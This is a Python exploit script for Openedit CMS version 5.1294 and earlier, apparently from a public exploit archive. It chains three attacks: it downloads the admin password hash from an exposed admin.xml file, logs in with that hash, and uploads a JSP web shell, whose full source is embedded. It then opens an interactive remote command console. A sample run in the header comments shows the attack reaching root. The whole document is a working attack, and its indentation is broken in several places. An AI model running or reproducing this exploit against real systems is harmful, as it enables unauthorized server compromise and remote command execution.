Openedit <= 5.1294 - Remote Code Execution Exploit



#!/usr/bin/python

#
# Openedit <= v5.1294 Remote Code Execution Exploit
# http://net-ninja.net/blog/?p=553
# watch http://www.zeitgeistmovie.com/
#
# Explanation:
# Vuln 1: Admin hash disclosure
# Vuln 2: Login with the hash
# Vuln 3: Unprotected file upload
#
# [mr_me@pluto openedit]$ sudo python ./openown.py -p localhost:8080 -t 192.168.1.7:8080 -d /

#     | ---------------------------------------------- |
#     | Openedit v5.1294 Remote Code Execution Explo!t |
#     | by mr_me - net-ninja.net --------------------- |

# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Stealing admin hash.. hash stolen ! DES:2JPGMLB8Y60=
# (+) Logging into CMS.. logged in successfully
# (+) Generating and executing upload.. shell upload was successful..
# (+) Shell located @ http://192.168.1.7:8080/eb5b2052fc6c2f6252af578bb9a66cf3.jsp?cmd=[CMD]
# (+) Entering interactive remote console (q for quit)
#
# root@192.168.1.7:8080# id

# uid=0(root) gid=0(root) groups=0(root)

# root@192.168.1.7:8080# uname -a

# Linux steven-desktop 2.6.32-28-generic #55-Ubuntu SMP Mon Jan 10 21:21:01 UTC 2011 i686 GNU/Linux

# root@192.168.1.7:8080# q
# [mr_me@pluto openedit]$

import sys, socket, urllib, re, urllib2, getpass
from optparse import OptionParser
from random import choice
from cookielib import CookieJar

try:
    from poster.encode import multipart_encode
    from poster.streaminghttp import register_openers
except:
    print "(!) Please download pyposter-04 to use this tool"
    print "--> http://pypi.python.org/pypi/poster/0.4"
    sys.exit(1)

usage = "./%prog [<options>] -t [target] -d [directory]"
usage += "\nExample: ./%prog -p localhost:8080 -t 192.168.1.15:8080 -d /ROOT2/openedit/"

parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="dirPath",
                  help="Directory path to the CMS")

(options, args) = parser.parse_args()

def banner():
    print "\n\t| ---------------------------------------------- |"
    print "\t| Openedit v5.1294 Remote Code Execution Explo!t |"
    print "\t| by mr_me - net-ninja.net --------------------- |\n"

if len(sys.argv) < 5:
    banner()
    parser.print_help()
    sys.exit(1)

agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
        "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
        "Microsoft Internet Explorer/4.0b1 (Windows 95)",
        "Opera/8.00 (Windows NT 5.1; U; en)"]

agent = choice(agents)

jspSname = "eb5b2052fc6c2f6252af578bb9a66cf3.jsp"
jspShell = """
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
out.println("lulzStart");
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
out.println("lulzEnd");
}
%>
"""

def getProxy():
    try:
        proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
    except(socket.timeout):
            print "\n(-) Proxy timed out"
            sys.exit(1)
    return proxy_handler

def testProxy():
    sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
    sys.stdout.flush()
    opener = urllib2.build_opener(getProxy())
    try:
            check = opener.open("http://www.google.com").read()
        except:
            check = 0
            pass
        if check >= 1:
            sys.stdout.write("proxy is found to be working!\n")
            sys.stdout.flush()
        else:
            print "proxy failed, exiting.."
            sys.exit(1)

def doPost(exploit, cmd=None):
    if options.proxy:
        try:
                        values = {'cmd' : cmd }
                        data = urllib.urlencode(values)
            proxyfier = urllib2.build_opener(getProxy())
            proxyfier.addheaders = [('User-agent', agent)]
            check = proxyfier.open(exploit, data).read()

        except urllib2.HTTPError, error:
                        check = error.read()
            pass
    else:
        try:
            req = urllib2.Request(exploit)
                        req.addheaders = [('User-agent',agent)]
            check = urllib2.urlopen(req).read()
        except urllib2.HTTPError, error:
            check = error.read()

    return check
    
def interactiveAttack():
        print "(+) Entering interactive remote console (q for quit)\n"
        hn = "%s@%s# " % (getpass.getuser(), options.target)
        cmd = ""
        while cmd != 'q':
                try:
                    cmd = raw_input(hn)
                    sploit = ("http://%s%s%s" % (options.target, options.dirPath, jspSname))
                        resp = doPost(sploit, cmd)
                        shellOutput = resp.split("lulzStart")[1].split("lulzEnd")[0]
            print shellOutput.split('\r\n')[0]
            except:
                    break

def getAdminHash():
    sys.stdout.write("(+) Stealing admin hash..")
    sys.stdout.flush()
    hashReq = ("http://%s%sopenedit/files/download/WEB-INF/users/admin.xml" % (options.target, options.dirPath))
    resp = doPost(hashReq)
    hash = re.search("<password>(.*)</password>", resp)
    sys.stdout.write(" hash stolen ! %s\n" % (hash.group(1)))
    sys.stdout.flush()
    return hash.group(1)

def tryUpload(cookie):
        sys.stdout.write("(+) Creating shell and preparing.. ")
        sys.stdout.flush()
    adminCookie = re.search("JSESSIONID=(.*) for", str(cookie))
    url = ("http://%s%sopenedit/filemanager/upload/uploadfile-finish.html" % (options.target, options.dirPath))

    try:
        writeShell = open(jspSname,'w')
        writeShell.write(jspShell)
        writeShell.close()
    except:
        print "(-) Exploit failed, you must have permission to write locally."
        sys.exit(1)

    register_openers()
    datagen, headers = multipart_encode({"file": open(jspSname), "path": "/WEB-INF/base/"})
    headers['Cookie'] = "JSESSIONID="+adminCookie.group(1)+";"
    headers['User-agent'] = agent
    request = urllib2.Request(url, datagen, headers)
        request.set_proxy(options.proxy, 'http')
    resp = urllib2.urlopen(request).read()
    writeShell.close()
    if re.search("UPLOAD SUCCESSFUL", resp):
        sys.stdout.write("shell upload was successful!\n")
        sploit = ("http://%s%s%s?cmd=[CMD]" % (options.target, options.dirPath, jspSname))
        sys.stdout.write("(+) Shell located @ %s\n" % (sploit))
        sys.stdout.flush()
    
def doLogin(adminHash):
    sys.stdout.write("(+) Logging into CMS.. ")
    sys.stdout.flush
    adminIndex = "http://" + options.target + options.dirPath + "openedit/authentication/logon.html"
    values = {'loginokpage' : '', 'accountname' : 'admin', 'password' : adminHash, 'submit' : 'Login'}
    data = urllib.urlencode(values)
    cj = CookieJar()
        if options.proxy:
            try:
                    opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
                        opener.addheaders = [('User-agent', agent)]
                    check = opener.open(adminIndex, data).read()
            except:
                    print "\n(-) Proxy connection failed to remote target"
                    sys.exit(1)
        else:
            try:
                    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
                    check = opener.open(adminIndex, data).read()
                except:
                    print "(-) Target connection failed, check your address"
                    sys.exit(1)
    if not re.search("Please enter your password", check):
            sys.stdout.write("logged in successfully\n")
            sys.stdout.flush()
        return cj
        else:
            sys.stdout.write("Login Failed! Exiting..\n")
            sys.stdout.flush()
            sys.exit(1)

def main():
    banner()
    if options.proxy:
        testProxy()
    adminHash = getAdminHash()
    adminCookie = doLogin(adminHash)
    tryUpload(adminCookie)
    interactiveAttack()
if __name__ == "__main__":
    main()